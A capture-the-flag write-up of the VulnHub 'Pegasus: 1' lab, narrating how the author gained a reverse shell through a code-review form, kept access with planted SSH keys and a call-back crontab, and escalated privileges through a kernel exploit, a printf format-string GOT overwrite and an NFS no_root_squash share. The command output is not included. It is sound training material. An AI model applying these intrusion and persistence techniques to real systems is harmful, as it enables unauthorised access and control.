Pegasus: 1

VulnHub URL: https://www.vulnhub.com/entry/pegasus-1,109/

Hostname: pegasus

IP Address: 10.183.0.210

Information Gathering/Recon

The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.210.

Service Enumeration/Scanning

Gaining Access

We don't typically see RPC services open, so I'll take a brief look at what's going on there first.

Checking the available services, we only really have the 'status' (rpc.statd) service available. There are some known remote code issues with this service. Checking the exploit database for exploit code, we actually have three options.

Before just throwing exploit code at the service, I'll see if I can get in another way, verify the version of nfs-utils running and then maybe use this for privilege escalation.

The version of nginx in use (nginx/1.1.19) doesn't have any known vulnerabilities.

We'll start some of our typical recon steps (run nikto, run dirb/wfuzz, check robots.txt, check HTTP methods, etc) on the service.

Browsing directly to the submit.php page, we receive a "No data to process." message.

Manually checking supported HTTP methods, I only got back a unique response for the PUT method (standard error).

I decided to try to use wfuzz to see if I could find a valid "parameter" (or get any kind of response besides "No data to process.".

Nice! Apparently "code" is a valid parameter I can submit. Let's see what the response is.

Well, "Sent for review!" isn't much better than "No data to process.", but at least we are getting somewhere. Based on the response, I'm thinking "code" is like source code and not some kind of numeric passcode. I'll try to send it some PHP code and see what happens.

Interesting.

I wondered if there was a page where the code was reviewed, so I started manually checking some PHP file names. I tried review.php, got nothing. I tried codereview.php and got this...

Checking the source, and sure enough, this is the form that submits to submit.php. It'd be nice to know where these code submissions are getting saved for later review. It would also be nice to know what kind of "code" we are talking about. The assumption is PHP code, but really, it could be anything.

I tried submitting a base64 encoded PHP reverse shell (created with msfvenom), but got nothing.

I then did some Googling for C code to create a reverse shell, and found the following...

I fired up my listener in Metasploit...

Then submitted the C code...

Wow! Mike's code review is instantaneous... and we have a shell. Any shell connected via a web request is usually pretty unstable, so I like to immediately create a second shell after connecting. I already set up a listener on TCP port 5433 and I'll use perl to connect to it.

Digging around in Mike's home folder...

We can see the shell script that compiles and runs the uploaded code.

Looks like the uploaded code had a 2 minute timeout, so I'm glad we already spawned a second shell.

We also found a SSH private key in Mike's .ssh folder...

However, there isn't an authorized_keys file in the .ssh folder, so maybe this private key is for a different user. Let's see what other accounts are available.

Trying out the SSH private key on the john account...

Trying out the SSH private key on the git account...

The SSH private key seems to work with the git account. The login is successful, but the user's shell (/usr/bin/git-shell) isn't interactive. Based on the "hint" the user might not have read and execute permissions on the git-shell-commands folder (or might not have one at all). We'll move on for now...

Another file of interest in Mike's folder is a SUID file (for user john) named 'my_first'.

When we run the program, we get a menu of options to select from...

Testing the options, 1 takes two numbers and adds them, 2 takes a string and echoes it back, 3 is "not yet implemented" and 4 exits. Running ltrace on the program, we can see input is obtained with 'fgets' and output is written with 'printf'. I know printf can be abused to run arbitrary code, but I'm not a C expert, so I'll see if there is some lower hanging fruit before trying to hack this (see Additional Notes for full details on hacking printf).

Maintaining Access

Since SSH is enabled on the victim and mike has a home directory and default shell...

... I created an authorized_keys file and copied my SSH public key to the file. With this, I was able to SSH to the victim.

After using SSH to connect to the victim, I installed a crontab for the user to continually try to connect back to my attacking machine on port 5433 (using a Perl reverse shell). Now, if I get discovered and shut out of SSH I can get back in with the reverse shell.

Privilege Escalation

Checking the running kernel and OS...

We have a known privilege escalation vulnerability for our OS/kernel combo...

I'll transfer the C file to the victim using netcat and see if we can compile and run it...

That was easy. 😄

Let's get the flag.

Pivoting

N/A

Clean Up

*** REMOVE /home/mike/.ssh/authorized_keys ***

*** REMOVE crontab for mike ***

*** REMOVE 37292.c and pwn from /tmp ***

Additional Info

Searching for vulnerabilities in the printf function of the 'my_first' program we found in /home/mike, I came across this write up by OWASP.

I was able to confirm the vulnerability using the following combination of python and pipe.

Using example two of the OWASP write up page, we were able to crash the application by sending a bunch of %s format strings.

Now that we know we can crash the program, we know we might can manipulate its execution to run arbitrary commands/shell code for us. Time to transfer the binary to our attacking machine and do some debugging/exploit generation.

Running (and crashing) our program in gdb (with the pwndbg plugin loaded... see below for details), we get the following...

Checking the backtrace, we can see that the call to printf ultimately led to the crash. After some research and reading through these articles:

I decided to try a GOT (Global Offset Table) overwrite attack.

First, we need to find the address 'printf@plt' is jumping to.

If we check the memory location for that pointer, then disassemble that...

Now we need to do some tests to see how to crawl back the stack to the address we want to rewrite. We'll do this by giving some 'A's and then popping pointers off the stack until we are back to our 'A's.

Using this technique, we can see we had to pop 7 references off the stack to get back to our 'A's. So, to go directly to our 'A's, we could do this.

Now, combining this with the %n format operator...

From https://www.owasp.org/index.php/Format_string_attack

From http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html

To explain, if we were to pass the string AAAA%8$n, we would write the value 4 (the "number of characters") to the address 0x41414141 (that address comes from us looking down the stack 8 spots to our AAAA).

For our exploit, we want to change the 'printf@plt' pointer to point to the system command (0xf7e04b40)...

... instead of the printf command (0xf7e18c60).

To do that, we need to write 0xf7e04b40 to the address 0x8049bfc. Using a combination of our printf exploit techniques, here's what we want to send...

This breaks down to...

So, sending our "printf -> system" rewrite results in the following.

We successfully overwrote 'printf@plt' when the program tried to print what we entered into the calculator, so the next time the program tries to call printf (to ask for a new selection), it is actually passing that string to system instead of printf. 😄 Since there isn't a program in the $PATH called 'Selection:', the system call fails... but we can fix that.

Now that we basically know what we are dealing with, we can move over to the victim and execute arbitrary system commands as 'john' (the SUID user of my_first).

Before we can run our exploit on the victim, we need to disable ASLR (using ulimit) and then check the address for 'system' on the victim. We'll do this by running gdb on the victim, crashing the program and running 'print system'.

We need to adjust our exploit string to overwrite printf with 0x40069060. Redoing our calculations...

Running the program with our updated exploit string, I confirmed the system command is being called and "Selection:" is being passed in. All that's left to do now is create our reverse shell script, name it "Selection:", and add the current directory to our PATH.

When we pass our malicious printf string to the program, we get a new shell session in Metasploit as (effective user) john...

From here, we can add our SSH keys to /home/john/.ssh/authorized_keys and SSH in as john.

Then, from our attacking machine...

While working on exploiting the 'my_first' binary, I came across the GDB plug-in pwndbg. Apparently it is a more modern implementation of many of the features of peda (refer to IMF notes on peda).

We were able to get root pretty easily with the overlays exploit. Here's how we could have gotten root after moving from mike to john's account.

The user john has the ability to start the nfs service without requiring a password. The user doesn't have permission to edit /etc/exports...

...but the file's configuration is already vulnerable (it does not root_squash), so we should be good to go.

We'll go ahead and start the nfs service...

Interestingly, the /opt/nfs can't be written to except by root...

...so we'll mount the share on our attacking machine where we are root.

We'll create a little application to run bash as root and compile it for the 32-bit victim and SUID root.

Then, go run it back on the victim...